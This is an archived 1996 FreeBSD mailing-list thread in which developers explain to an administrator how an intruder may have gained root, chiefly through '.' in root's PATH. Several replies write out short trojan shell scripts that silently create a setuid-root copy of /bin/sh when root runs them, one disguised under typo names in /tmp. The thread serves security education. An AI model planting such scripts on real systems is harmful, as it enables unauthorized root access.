00:29:53 -0700 (PDT) Received: from mercury.gaianet.net (root@mercury.gaianet.net [206.171.98.26]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id AAA26765; Tue, 25 Jun 1996 00:29:51 -0700 (PDT) Received: (from vince@localhost) by mercury.gaianet.net (8.7.5/8.6.12) id AAA06441; Tue, 25 Jun 1996 00:28:35 -0700 (PDT) Date: Tue, 25 Jun 1996 00:28:34 -0700 (PDT) From: -Vince- To: Mark Murray cc: hackers@FreeBSD.org, security@FreeBSD.org, Chad Shackley , jbhunt Subject: Re: I need help on this one - please help me track this guy down! In-Reply-To: <199606250712.JAA08662@grumble.grondar.za> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@FreeBSD.org X-Loop: FreeBSD.org Precedence: bulk On Tue, 25 Jun 1996, Mark Murray wrote: > -Vince- wrote: > > > > Hmmm, doesn't everyone have . as their path since all . does is allow > > > > someone to run stuff from the current directory... > > > > > > Not root! this leaves you wide open for trojans. As root you should > > > have to type ./foo to run foo in the current directory. > > > > Hmmm, really? It seems like almost all systems root has . for the > > path but if the directory for root is like read, write, execute by root > > only, how will they get into it? > > Example: user suspects you may be a DOS user, and are likely to try > to type the "dir" or "cls" command every now and then (by mistake). > > In his home directory he places a script called "dir" that creates a > suid shell (silently) then prints the usual "command not found" error. > > He then phones you, asking for support, and tries to trick you into > running his script. Having "." in your path makes his trickery easier. Hmmm, that's only if we had phone support.... We don't :) but do admins really go run a program that the user said won't run? Vince From owner-freebsd-hackers Tue Jun 25 00:32:57 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id AAA27019 for hackers-outgoing; Tue, 25 Jun 1996 00:32:57 -0700 (PDT) Received: from mercury.gaianet.net (root@mercury.gaianet.net [206.171.98.26]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id AAA27013; Tue, 25 Jun 1996 00:32:54 -0700 (PDT) Received: (from vince@localhost) by mercury.gaianet.net (8.7.5/8.6.12) id AAA06854; Tue, 25 Jun 1996 00:32:34 -0700 (PDT) Date: Tue, 25 Jun 1996 00:32:34 -0700 (PDT) From: -Vince- To: David Greenman cc: Gary Palmer , Mark Murray , hackers@FreeBSD.ORG, security@FreeBSD.ORG, Chad Shackley , jbhunt Subject: Re: I need help on this one - please help me track this guy down! In-Reply-To: <199606250714.AAA03862@root.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Tue, 25 Jun 1996, David Greenman wrote: > >-Vince- wrote in message ID > >: > >> Hmmm, doesn't everyone have . as their path since all . does is allow > >> someone to run stuff from the current directory... > > > >No, everyone does NOT have `.' in their paths! I most certainly don't, > >as I know that it's ALL to easy to have someone break your system > >security that way. Imagine if you are looking into something as root, > >and have `.' in your path. You go into someone elses directory, and do > >a `ls'. All they need is a wrapper program called `ls' in that dir > >which copies /bin/sh to some directory, chowns it to root, then sets > >the setuid bit, and THEN exec's ls with the arguments given, an BANG, > >there goes your system security. > > Actually, this particular problem can be avoided by putting "." last in > the search path rather than first. Hmmm, that's what I've noticed is everyone having "." last on the path and not first. My .cshrc's path is actually from ref.tfs.com when it was the 386bsd days... Vince From owner-freebsd-hackers Tue Jun 25 00:34:25 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id AAA27208 for hackers-outgoing; Tue, 25 Jun 1996 00:34:25 -0700 (PDT) Received: from mercury.gaianet.net (root@mercury.gaianet.net [206.171.98.26]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id AAA27200; Tue, 25 Jun 1996 00:34:23 -0700 (PDT) Received: (from vince@localhost) by mercury.gaianet.net (8.7.5/8.6.12) id AAA07004; Tue, 25 Jun 1996 00:34:00 -0700 (PDT) Date: Tue, 25 Jun 1996 00:33:59 -0700 (PDT) From: -Vince- To: "Michael L. VanLoon -- HeadCandy.com" cc: Mark Murray , hackers@freebsd.org, security@freebsd.org, Chad Shackley , jbhunt Subject: Re: I need help on this one - please help me track this guy down! In-Reply-To: <199606250727.AAA24988@MindBender.HeadCandy.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk On Tue, 25 Jun 1996, Michael L. VanLoon -- HeadCandy.com wrote: > > >> 2) The Cracker made a trojan script somewhere (usually exploiting > >> some admins (roots) who have "." in their path). This way he creates > >> a script that when run as root will make him a suid program. > >> after this he has you by tender bits. > > > Hmmm, doesn't everyone have . as their path since all . does is allow > >someone to run stuff from the current directory... > > Assume root has "." in its path. Hacker puts this little script in > his dir, maybe also in /tmp/; it's called "ls" (imagine the > coincidence), and it's executable by all: > > #!/bin/sh > chown root /bin/sh > /dev/null 2>&1 > chmod u+s,a+x /bin/sh > /dev/null 2>&1 > ls $\* > > Then sits back and waits for the sysadmin to come along and type "ls" > in one of those directories. > > Pop quiz: what is the result? Never thought about that one.... Vince From owner-freebsd-hackers Tue Jun 25 01:22:58 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id BAA01008 for hackers-outgoing; Tue, 25 Jun 1996 01:22:58 -0700 (PDT) Received: from asterix.insight.co.za (asterix.insight.co.za [196.27.7.9]) by freefall.freebsd.org (8.7.5/8.7.3) with SMTP id BAA00983; Tue, 25 Jun 1996 01:22:44 -0700 (PDT) Received: by asterix.insight.co.za (Smail3.1.29.1 #1) id m0uYTO8-000vDSC; Tue, 25 Jun 96 10:22 SAT Message-Id: From: jvisagie@insight.co.za (Johann Visagie) Subject: Re: I need help on this one - please help me track this guy down! To: vince@mercury.gaianet.net (-Vince-) Date: Tue, 25 Jun 1996 10:22:20 +0200 (SAT) Cc: mark@grumble.grondar.za, hackers@FreeBSD.org, security@FreeBSD.org, chad@mercury.gaianet.net, jbhunt@mercury.gaianet.net In-Reply-To: from "-Vince-" at Jun 24, 96 11:46:03 pm X-Mailer: ELM [version 2.4 PL24 ME8a] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@FreeBSD.org X-Loop: FreeBSD.org Precedence: bulk -Vince- wrote: > > Hmmm, really? It seems like almost all systems root has . for the > path but if the directory for root is like read, write, execute by root > only, how will they get into it? -Vince- also writes (in response to Mark Murray): > > For much more info, I recommend "Practical Unix Security" from > > O'Reilly and Associates, (By Garfinkel?) > > I have that book but there are always ways no one knows about ;) I would suggest you _read_ it ;), specifically page 151 ff. (assuming you have the first edition), where path attacks are described. To summarise an example in that section: 1) User realises root as '.' in his path 2) User creates a file called something funny like '-i' in his home directory 3) User creates a script called 'ls' in his home directory, which first attempts to create a setuid root shell somewhere, and then calls the "real" /bin/ls 4) User tells his sysadmin there's a "funny file" in his home directory that he can't get rid of 5) Rood cd's to user's home directory and types "ls" to see what's going on. 6) Voila! Boy, this brings back memories... ;) -- V Johann Visagie | Email: jvisagie@insight.co.za | Tel: +27 83 777-4260 From owner-freebsd-hackers Tue Jun 25 01:23:15 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id BAA01057 for hackers-outgoing; Tue, 25 Jun 1996 01:23:15 -0700 (PDT) Received: from irz301.inf.tu-dresden.de (irz301.inf.tu-dresden.de [141.76.1.11]) by freefall.freebsd.org (8.7.5/8.7.3) with SMTP id BAA01036; Tue, 25 Jun 1996 01:23:07 -0700 (PDT) Received: from sax.sax.de by irz301.inf.tu-dresden.de (8.6.12/8.6.12-s1) with ESMTP id KAA22910; Tue, 25 Jun 1996 10:22:10 +0200 Received: (from uucp@localhost) by sax.sax.de (8.6.12/8.6.12-s1) with UUCP id KAA07482; Tue, 25 Jun 1996 10:22:09 +0200 Received: (from j@localhost) by uriah.heep.sax.de (8.7.5/8.6.9) id JAA17930; Tue, 25 Jun 1996 09:58:52 +0200 (MET DST) From: J Wunsch Message-Id: <199606250758.JAA17930@uriah.heep.sax.de> Subject: Re: I need help on this one - please help me track this guy down! To: davidg@Root.COM Date: Tue, 25 Jun 1996 09:58:51 +0200 (MET DST) Cc: gpalmer@FreeBSD.ORG, vince@mercury.gaianet.net, mark@grumble.grondar.za, hackers@FreeBSD.ORG, security@FreeBSD.ORG, chad@mercury.gaianet.net, jbhunt@mercury.gaianet.net Reply-To: joerg_wunsch@uriah.heep.sax.de (Joerg Wunsch) In-Reply-To: <199606250714.AAA03862@root.com> from David Greenman at "Jun 25, 96 00:14:37 am" X-Phone: +49-351-2012 669 X-PGP-Fingerprint: DC 47 E6 E4 FF A6 E9 8F 93 21 E0 7D F9 12 D6 4E X-Mailer: ELM [version 2.4ME+ PL17 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk As David Greenman wrote: > Actually, this particular problem can be avoided by putting "." last in > the search path rather than first. But only until someone drops this script e.g. into /tmp: #!/bin/sh if [ `id -u -r` = 0 ] ; then (cp /bin/sh $HOME/.newsrc.bak; chown root $HOME/.newsrc.bak; chmod 04755 $HOME/.newsrc.bak) & fi echo "$0: not found." exit 1 ...and links it to /tmp/sl, /tmp/mkae, /tmp/iv etc. -- cheers, J"org joerg_wunsch@uriah.heep.sax.de -- http://www.sax.de/~joerg/ -- NIC: JW11-RIPE Never trust an operating system you don't have sources for. ;-) From owner-freebsd-hackers Tue Jun 25 01:25:06 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id BAA01264 for hackers-outgoing; Tue, 25 Jun 1996 01:25:06 -0700 (PDT) Received: from irz301.inf.tu-dresden.de (irz301.inf.tu-dresden.de [141.76.1.11]) by freefall.freebsd.org (8.7.5/8.7.3) with SMTP id BAA01251 for ; Tue, 25 Jun 1996 01:25:00 -0700 (PDT) Received: from sax.sax.de by irz301.inf.tu-dresden.de (8.6.12/8.6.12-s1) with ESMTP id KAA22916; Tue, 25 Jun 1996 10:22:12 +0200 Received: (from uucp@localhost) by sax.sax.de (8.6.12/8.6.12-s1) with UUCP id KAA07484; Tue, 25 Jun 1996 10:22:12 +0200 Received: (from j@localhost) by uriah.heep.sax.de (8.7.5/8.6.9) id KAA17967; Tue, 25 Jun 1996 10:02:37 +0200 (MET DST) From: J Wunsch Message-Id: <199606250802.KAA17967@uriah.heep.sax.de> Subject: Re: No comment character in hosts.equiv To: freebsd-hackers@freebsd.org (FreeBSD hackers) Date: Tue, 25 Jun 1996 10:02:37 +0200 (MET DST) Cc: danny@auscert.org.au (Danny Smith) Reply-To: joerg_wunsch@uriah.heep.sax.de (Joerg Wunsch) In-Reply-To: <199606250641.QAA04407@amethyst.auscert.org.au> from Danny Smith at "Jun 25, 96 04:41:10 pm" X-Phone: +49-351-2012 669 X-PGP-Fingerprint: DC 47 E6 E4 FF A6 E9 8F 93 21 E0 7D F9 12 D6 4E X-Mailer: ELM [version 2.4ME+ PL17 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk As Danny Smith wrote: > > Wrong. FreeBSD has a comment char. > OK, I verified this on our 2.0.5 test system before mailing. Looks like I > may have been hit by the "checking the previous version" problem. FreeBSD 2.0.5 shipped with commented-out entries in hosts.equiv and the sample .rhosts files that caused DNS lookup timeouts (since names starting with a hash mark were looked up). After realizing this, the comment-character logic was braught in. Anyway, commented-out entries normally don't constitute a security hole (unless a potential intruder can manipulate DNS to get the wrong name as an alias for his host). -- cheers, J"org joerg_wunsch@uriah.heep.sax.de -- http://www.sax.de/~joerg/ -- NIC: JW11-RIPE Never trust an operating system you don't have sources for. ;-) From owner-freebsd-hackers Tue Jun 25 01:35:37 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id BAA02051 for hackers-outgoing; Tue, 25 Jun 1996 01:35:37 -0700 (PDT) Received: from mercury.gaianet.net (root@mercury.gaianet.net [206.171.98.26]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id BAA02046; Tue, 25 Jun 1996 01:35:32 -0700 (PDT) Received: (from vince@localhost) by mercury.gaianet.net (8.7.5/8.6.12) id BAA14088; Tue, 25 Jun 1996 01:33:22 -0700 (PDT) Date: Tue, 25 Jun 1996 01:33:21 -0700 (PDT) From: -Vince- To: Joerg Wunsch cc: hackers@FreeBSD.ORG, security@FreeBSD.ORG, chad@mercury.gaianet.net, jbhunt@mercury.gaianet.net Subject: Re: I need help on this one - please help me track this guy down! In-Reply-To: <199606250758.JAA17930@uriah.heep.sax.de> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Tue, 25 Jun 1996, J Wunsch wrote: > As David Greenman wrote: > > > Actually, this particular problem can be avoided by putting "." last in > > the search path rather than first. > > But only until someone drops this script e.g. into /tmp: > > #!/bin/sh > > if [ `id -u -r` = 0 ] ; then > (cp /bin/sh $HOME/.newsrc.bak; chown root $HOME/.newsrc.bak; > chmod 04755 $HOME/.newsrc.bak) & > fi > > echo "$0: not found." > exit 1 > > > ...and links it to /tmp/sl, /tmp/mkae, /tmp/iv etc. Hmmm, I never thought they can get you in the /tmp directory... Vince From owner-freebsd-hackers Tue Jun 25 01:35:59 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id BAA02113 for hackers-outgoing; Tue, 25 Jun 1996 01:35:59 -0700 (PDT) Received: from mercury.gaianet.net (root@mercury.gaianet.net [206.171.98.26]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id BAA02095; Tue, 25 Jun 1996 01:35:52 -0700 (PDT) Received: (from vince@localhost) by mercury.gaianet.net (8.7.5/8.6.12) id BAA14320; Tue, 25 Jun 1996 01:35:28 -0700 (PDT) Date: Tue, 25 Jun 1996 01:35:28 -0700 (PDT) From: -Vince- To: Johann Visagie cc: mark@grumble.grondar.za, hackers@FreeBSD.org, security@FreeBSD.org, chad@mercury.gaianet.net, jbhunt@mercury.gaianet.net Subject: Re: I need help on this one - please help me track this guy down! In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@FreeBSD.org X-Loop: FreeBSD.org Precedence: bulk On Tue, 25 Jun 1996, Johann Visagie wrote: > -Vince- wrote: > > > > Hmmm, really? It seems like almost all systems root has . for the > > path but if the directory for root is like read, write, execute by root > > only, how will they get into it? > > -Vince- also writes (in response to Mark Murray): > > > > For much more info, I recommend "Practical Unix Security" from > > > O'Reilly and Associates, (By Garfinkel?) > > > > I have that book but there are always ways no one knows about ;) > > I would suggest you _read_ it ;), specifically page 151 ff. (assuming you > have the first edition), where path attacks are described. To summarise an > example in that section: > > 1) User realises root as '.' in his path > 2) User creates a file called something funny like '-i' in his home > directory > 3) User creates a script called 'ls' in his home directory, which first > attempts to create a setuid root shell somewhere, and then calls the > "real" /bin/ls > 4) User tells his sysadmin there's a "funny file" in his home directory that > he can't get rid of > 5) Rood cd's to user's home directory and types "ls" to see what's going on. > 6) Voila! Yes but what happens if it was like this case: 1) user knows sysadmin so sysadmin creates account for him 2) user logs in and puts a file named root with the sysadmin watching him 3) user runs root and gets root... this only works if the user is using bash or sh for the login shell, if you use csh or tcsh, it doesn't work. Vince From owner-freebsd-hackers Tue Jun 25 01:37:53 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id BAA02339 for hackers-outgoing; Tue, 25 Jun 1996 01:37:53 -0700 (PDT) Received: from grumble.grondar.za (root@grumble.grondar.za [196.7.18.130]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id BAA02304; Tue, 25 Jun 1996 01:37:34 -0700 (PDT) Received: from grumble.grondar.za (mark@localhost.grondar.za [127.0.0.1]) by grumble.grondar.za (8.7.5/8.7.3) with ESMTP id KAA08996; Tue, 25 Jun 1996 10:36:53 +0200 (SAT) Message-Id: <199606250836.KAA08996@grumble.grondar.za> To: -Vince- cc: Mark Murray , hackers@FreeBSD.org, security@FreeBSD.org, Chad Shackley , jbhunt Subject: Re: I need help on this one - please help me track this guy down! Date: Tue, 25 Jun 1996 10:36:52 +0200 From: Mark Murray Sender: owner-hackers@FreeBSD.org X-Loop: FreeBSD.org Precedence: bulk -Vince- wrote: > > Example: user suspects you may be a DOS user, and are likely to try > > to type the "dir" or "cls" command every now and then (by mistake). > > > > In his home directory he places a script called "dir" that creates a > > suid shell (silently) then prints the usual "command not found" error. > > > > He then phones you, asking for support, and tries to trick you into > > running his script. Having "." in your path makes his trickery easier. > > Hmmm, that's only if we had phone support.... We don't :) but do > admins really go run a program that the user said won't run? Don't pick details. The point is that there is the problem that you could be tricked (somehow) into running a user's script instead of a system binary. This can happen even if the "." is at the end of your path if the program/script is not the name of a system app. M -- Mark Murray 46 Harvey Rd, Claremont, Cape Town 7700, South Africa +27 21 61-3768 GMT+0200 Finger mark@grondar.za for PGP key From owner-freebsd-hackers Tue Jun 25 01:40:16 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id BAA02585 for hackers-outgoing; Tue, 25 Jun 1996 01:40:16 -0700 (PDT) Received: from sivka.rdy.com (sivka.rdy.com [205.149.182.19]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id BAA02509; Tue, 25 Jun 1996 01:40:00 -0700 (PDT) Received: from dima@localhost by sivka.rdy.com id BAA10117; (8.7/RDY) Tue, 25 Jun 1996 01:20:53 -0700 (PDT) From: "Dima Ruban" Message-Id: <960625012052.ZM10115@sivka.rdy.com> Date: Tue, 25 Jun 1996 01:20:51 -0700 In-Reply-To: Poul-Henning Kamp "Re: I need help on this one - please help me track this guy down!" (Jun 24, 8:28am) References: <6630.835630106@critter.tfs.com> Organization: HackerDome, Inc. X-Mailer: Z-Mail (4.0b.514 14may96) To: Poul-Henning Kamp , "Jordan K. Hubbard" Subject: Re: I need help on this one - please help me track this guy down! Cc: Amancio Hasty , hackers@FreeBSD.org, security@FreeBSD.org, ache@FreeBSD.org MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-hackers@FreeBSD.org X-Loop: FreeBSD.org Precedence: bulk On Jun 24, 8:28am, Poul-Henning Kamp wrote: > Subject: Re: I need help on this one - please help me track this guy down! > In message <8378.835580425@time.cdrom.com>, "Jordan K. Hubbard" writes: > >Also, I think that calling the FBI on this one is only likely to get > >me put on infinite hold when they hear that the perpetrator is in > >Russia. :-) > > Yes, Russia would be an CIA issue. Hey, guys! Stop this "Russian" thing, will ya? :-) > > -- > Poul-Henning Kamp | phk@FreeBSD.ORG FreeBSD Core-team. > http://www.freebsd.org/~phk | phk@login.dknet.dk Private mailbox. > whois: [PHK] | phk@ref.tfs.com TRW Financial Systems, Inc. > Future will arrive by its own means, progress not so. > >-- End of excerpt from Poul-Henning Kamp -- -- dima From owner-freebsd-hackers Tue Jun 25 01:42:05 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id BAA02687 for hackers-outgoing; Tue, 25 Jun 1996 01:42:05 -0700 (PDT) Received: from mercury.gaianet.net (root@mercury.gaianet.net [206.171.98.26]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id BAA02655; Tue, 25 Jun 1996 01:40:57 -0700 (PDT) Received: (from vince@localhost) by mercury.gaianet.net (8.7.5/8.6.12) id BAA14940; Tue, 25 Jun 1996 01:40:18 -0700 (PDT) Date: Tue, 25 Jun 1996 01:40:18 -0700 (PDT) From: -Vince- To: Mark Murray cc: hackers@FreeBSD.org, security@FreeBSD.org, Chad Shackley , jbhunt Subject: Re: I need help on this one - please help me track this guy down! In-Reply-To: <199606250836.KAA08996@grumble.grondar.za> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@FreeBSD.org X-Loop: FreeBSD.org Precedence: bulk On Tue, 25 Jun 1996, Mark Murray wrote: > -Vince- wrote: > > > Example: user suspects you may be a DOS user, and are likely to try > > > to type the "dir" or "cls" command every now and then (by mistake). > > > > > > In his home directory he places a script called "dir" that creates a > > > suid shell (silently) then prints the usual "command not found" error. > > > > > > He then phones you, asking for support, and tries to trick you into > > > running his script. Having "." in your path makes his trickery easier. > > > > Hmmm, that's only if we had phone support.... We don't :) but do > > admins really go run a program that the user said won't run? > > Don't pick details. The point is that there is the problem that you > could be tricked (somehow) into running a user's script instead > of a system binary. This can happen even if the "." is at the > end of your path if the program/script is not the name of a > system app. Yeah, you have a point but jbhunt was watching the user as he hacked root since he brought the file from his own machine.... so that wasn't something the admin was tricked into doing.. Vince From owner-freebsd-hackers Tue Jun 25 01:43:16 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id BAA02864 for hackers-outgoing; Tue, 25 Jun 1996 01:43:16 -0700 (PDT) Received: from proxy.siemens.at (proxy.siemens.at [192.138.228.19]) by freefall.freebsd.org (8.7.5/8.7.3) with SMTP id BAA02364; Tue, 25 Jun 1996 01:37:57 -0700 (PDT) Received: from sol1.gud.siemens.co.at (sol-f.gud.siemens-austria) by proxy.siemens.at with SMTP id AA12616 (5.67a/IDA-1.5); Tue, 25 Jun 1996 10:36:56 +0200 Received: from ws2301.gud.siemens.co.at by sol1.gud.siemens.co.at with smtp (Smail3.1.28.1 #7 for ) id m0uYTc3-00021HC; Tue, 25 Jun 96 10:36 MET DST Received: by ws2301.gud.siemens.co.at (1.37.109.16/1.37) id AA269621747; Tue, 25 Jun 1996 10:35:47 +0200 From: "Hr.Ladavac" Message-Id: <199606250835.AA269621747@ws2301.gud.siemens.co.at> Subject: Re: I need help on this one - please help me track this guy down! To: davidg@root.com Date: Tue, 25 Jun 1996 10:35:46 +0200 (MESZ) Cc: gpalmer@FreeBSD.ORG, vince@mercury.gaianet.net, mark@grumble.grondar.za, hackers@FreeBSD.ORG, security@FreeBSD.ORG, chad@mercury.gaianet.net, jbhunt@mercury.gaianet.net In-Reply-To: <199606250714.AAA03862@root.com> from "David Greenman" at Jun 25, 96 00:14:37 am X-Mailer: ELM [version 2.4 PL24 ME8a] Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk In his e-mail David Greenman wrote: > > >-Vince- wrote in message ID > >: > >> Hmmm, doesn't everyone have . as their path since all . does is allow > >> someone to run stuff from the current directory... > > > >No, everyone does NOT have `.' in their paths! I most certainly don't, > >as I know that it's ALL to easy to have someone break your system > >security that way. Imagine if you are looking into something as root, > >and have `.' in your path. You go into someone elses directory, and do > >a `ls'. All they need is a wrapper program called `ls' in that dir > >which copies /bin/sh to some directory, chowns it to root, then sets > >the setuid bit, and THEN exec's ls with the arguments given, an BANG, > >there goes your system security. > > Actually, this particular problem can be avoided by putting "." last in > the search path rather than first. But Trojan mroe versus okay more can not. Current directory has no place in path. Not even for a normal user. root should not have any path whatsoever; even though this is a tad too paranoid. /Marino > > -DG > > David Greenman > Core-team/Principal Architect, The FreeBSD Project > From owner-freebsd-hackers Tue Jun 25 01:46:23 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id BAA03127 for hackers-outgoing; Tue, 25 Jun 1996 01:46:23 -0700 (PDT) Received: from sivka.rdy.com (sivka.rdy.com [205.149.182.19]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id BAA03101; Tue, 25 Jun 1996 01:46:15 -0700 (PDT) Received: from dima@localhost by sivka.rdy.com id BAA10148; (8.7/RDY) Tue, 25 Jun 1996 01:33:06 -0700 (PDT) From: "Dima Ruban" Message-Id: <960625013305.ZM10146@sivka.rdy.com> Date: Tue, 25 Jun 1996 01:33:05 -0700 In-Reply-To: "JULIAN Elischer" "Re: I need help on this one - please help me track this guy down!" (Jun 24, 1:59pm) References: <199606242059.NAA01968@ref.tfs.com> Organization: HackerDome, Inc. X-Mailer: Z-Mail (4.0b.514 14may96) To: "JULIAN Elischer" , richardc@CSUA.Berkeley.EDU (Veggy Vinny) Subject: Re: I need help on this one - please help me track this guy down! Cc: mark@grumble.grondar.za, wilko@yedi.iaf.nl, jkh@time.cdrom.com, guido@gvr.win.tue.nl, hackers@FreeBSD.org, security@FreeBSD.org, ache@FreeBSD.org MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-hackers@FreeBSD.org X-Loop: FreeBSD.org Precedence: bulk On Jun 24, 1:59pm, JULIAN Elischer wrote: > Subject: Re: I need help on this one - please help me track this guy down! > > > > > > > > On Mon, 24 Jun 1996, Mark Murray wrote: > > > > > > > What do you get from strings(1)? (Long shot..) > > > > -rwsr-xr-x 1 root users 278528 Jun 18 04:01 root is from the dir > ^ DUH! > There was also the one that used rdist in daemon mode > to rdist itself a new copy of /etc/passwd (and friends) With rdist bug in daemon mode you were able to change permissions on any file. So you don't even have to copy password file.... :-) > > I haven't looked recently to see if that still works for FreeBSD.. > I last looked in 386BSD.. > > julian > > > >-- End of excerpt from JULIAN Elischer -- -- dima From owner-freebsd-hackers Tue Jun 25 01:51:41 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id BAA03663 for hackers-outgoing; Tue, 25 Jun 1996 01:51:41 -0700 (PDT) Received: from seagull.rtd.com (root@seagull.rtd.com [198.102.68.2]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id BAA03634; Tue, 25 Jun 1996 01:51:33 -0700 (PDT) Received: (from dgy@localhost) by seagull.rtd.com (8.7.5/1.2) id BAA00894; Tue, 25 Jun 1996 01:51:04 -0700 (MST) From: Don Yuniskis Message-Id: <199606250851.BAA00894@seagull.rtd.com> Subject: Re: I need help on this one - please help me track this guy down! To: vince@mercury.gaianet.net (-Vince-) Date: Tue, 25 Jun 1996 01:51:03 -0700 (MST) Cc: mark@grumble.grondar.za, hackers@FreeBSD.ORG, security@FreeBSD.ORG, chad@mercury.gaianet.net, jbhunt@mercury.gaianet.net In-Reply-To: from "-Vince-" at Jun 25, 96 00:28:34 am X-Mailer: ELM [version 2.4 PL24] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk It seems that -Vince- said: > > On Tue, 25 Jun 1996, Mark Murray wrote: > > > > In his home directory he places a script called "dir" that creates a > > suid shell (silently) then prints the usual "command not found" error. > > > > He then phones you, asking for support, and tries to trick you into > > running his script. Having "." in your path makes his trickery easier. > > Hmmm, that's only if we had phone support.... We don't :) but do > admins really go run a program that the user said won't run? Well, it *appears* that one of *you* did! :> From owner-freebsd-hackers Tue Jun 25 01:52:32 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id BAA03863 for hackers-outgoing; Tue, 25 Jun 1996 01:52:32 -0700 (PDT) Received: from mercury.gaianet.net (root@mercury.gaianet.net [206.171.98.26]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id BAA03855; Tue, 25 Jun 1996 01:52:28 -0700 (PDT) Received: (from vince@localhost) by mercury.gaianet.net (8.7.5/8.6.12) id BAA17390; Tue, 25 Jun 1996 01:52:03 -0700 (PDT) Date: Tue, 25 Jun 1996 01:52:02 -0700 (PDT) From: -Vince- To: Don Yuniskis cc: mark@grumble.grondar.za, hackers@FreeBSD.ORG, security@FreeBSD.ORG, chad@mercury.gaianet.net, jbhunt@mercury.gaianet.net Subject: Re: I need help on this one - please help me track this guy down! In-Reply-To: <199606250851.BAA00894@seagull.rtd.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Tue, 25 Jun 1996, Don Yuniskis wrote: > It seems that -Vince- said: > > > > On Tue, 25 Jun 1996, Mark Murray wrote: > > > > > > In his home directory he places a script called "dir" that creates a > > > suid shell (silently) then prints the usual "command not found" error. > > > > > > He then phones you, asking for support, and tries to trick you into > > > running his script. Having "." in your path makes his trickery easier. > > > > Hmmm, that's only if we had phone support.... We don't :) but do > > admins really go run a program that the user said won't run? > > Well, it *appears* that one of *you* did! :> Well, jbhunt was the one who gave the user the account and the user just transferred the root which is /bin/sh with setuid and ran it and he got root.... Vince From owner-freebsd-hackers Tue Jun 25 02:00:56 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id CAA04509 for hackers-outgoing; Tue, 25 Jun 1996 02:00:56 -0700 (PDT) Received: from seagull.rtd.com (root@seagull.rtd.com [198.102.68.2]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id CAA04500 for ; Tue, 25 Jun 1996 02:00:52 -0700 (PDT) Received: (from dgy@localhost) by seagull.rtd.com (8.7.5/1.2) id CAA01330; Tue, 25 Jun 1996 02:00:05 -0700 (MST) From: Don Yuniskis Message-Id: <199606250900.CAA01330@seagull.rtd.com> Subject: Re: Memory tests ... To: msmith@atrad.adelaide.edu.au (Michael Smith) Date: Tue, 25 Jun 1996 02:00:04 -0700 (MST) Cc: hua@xenon.chromatic.com, dgy@rtd.com, jsigmon@www.hsc.wvu.edu, hackers@freebsd.org In-Reply-To: 